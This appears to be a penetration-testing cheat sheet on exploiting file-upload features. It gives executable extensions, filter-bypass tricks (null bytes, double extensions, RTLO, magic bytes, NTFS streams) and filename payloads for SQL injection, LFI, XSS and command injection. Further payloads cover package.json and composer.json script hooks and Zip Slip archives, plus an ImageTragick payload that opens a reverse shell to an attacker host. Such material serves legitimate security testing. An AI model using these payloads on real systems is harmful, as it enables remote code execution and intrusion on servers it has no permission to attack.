

Upload

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

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Tools

- [Fuxploader](#)
- [Burp > Upload Scanner](#)
- [ZAP > FileUpload AddOn](#)

Exploits

Defaults extensions

- PHP Server

```
.php
.php3
.php4
.php5
.php7

# Less known PHP extensions
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
```

- ASP Server: `.asp`, `.aspx`, `.cer` and `.asa` (IIS <= 7.5), `shell.aspx;1.jpg` (IIS < 7.0), `shell.soap`

- JSP : `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf`
- Perl: `.pl`, `.pm`, `.cgi`, `.lib`
- Coldfusion: `.cfm`, `.cfml`, `.cfc`, `.dbm`

Upload tricks

- Use double extensions : `.jpg.php`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension `.php`, but not necessarily ending in `.php` will execute code): `.php.jpg`
- Random uppercase and lowercase : `.pHp`, `.pHP5`, `.PhAr`
- Null byte (works well against `pathinfo()`)
 - `.php%00.gif`
 - `.php\x00.gif`
 - `.php%00.png`
 - `.php\x00.png`
 - `.php%00.jpg`
 - `.php\x00.jpg`
- Special characters
 - Multiple dots : `file.php.....` , in Windows when a file is created with dots at the end those will be removed.
 - Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
 - Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will become `name.gpj.php`.
 - Slash: `file.php/`, `file.php.\`
- Mime type, change Content-Type : `application/x-php` or Content-Type : `application/octet-stream` to Content-Type : `image/gif`
 - Content-Type : `image/gif`
 - Content-Type : `image/png`
 - Content-Type : `image/jpeg`
 - Set the Content-Type twice: once for unallowed type and once for allowed.
- Magic Bytes
 - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
 - PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x50\x03[`
 - JPG: `\xff\xd8\xff`
 - GIF: `GIF87a` OR `GIF8;`
 - Shell can also be added in the metadata
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.aspx:.jpg`"). This file might be edited later using other techniques such as using its short filename. The `::$data` pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (e.g. "`file.asp::$data.`")

Filename vulnerabilities

- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+' .extension`
- LFI Payloads: e.g. `image.png../../../../../../../../etc/passwd`
- XSS Payloads e.g. `'">.extension`
- File Traversal e.g. `../../../../tmp/lol.png`
- Command Injection e.g. `; sleep 10;`

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'".`

- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.

Configuration Files

If you are trying to upload files to a :

- PHP server, take a look at the `.htaccess` trick to execute code.
- ASP server, take a look at the `.config` trick to execute code.

Configuration files examples

- `.htaccess`
- `web.config`
- `httpd.conf`
- `__init__.py`

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

- `package.json`

```
"scripts": {
  "prepare" : "/bin/touch /tmp/pwned.txt"
}
```

- `composer.json`

```
"scripts": {
  "pre-command-run" : [
    "/bin/touch /tmp/pwned.txt"
  ]
}
```

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg)|bash -i >& /dev/tcp/attacker-ip/attacker-port
0>&1|touch "hello")'
pop graphic-context
```

More payload in the folder [Picture Image Magik](#)

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

- Zip Slip: directory traversal to write a file somewhere else

```
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15

ln -s ../../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```

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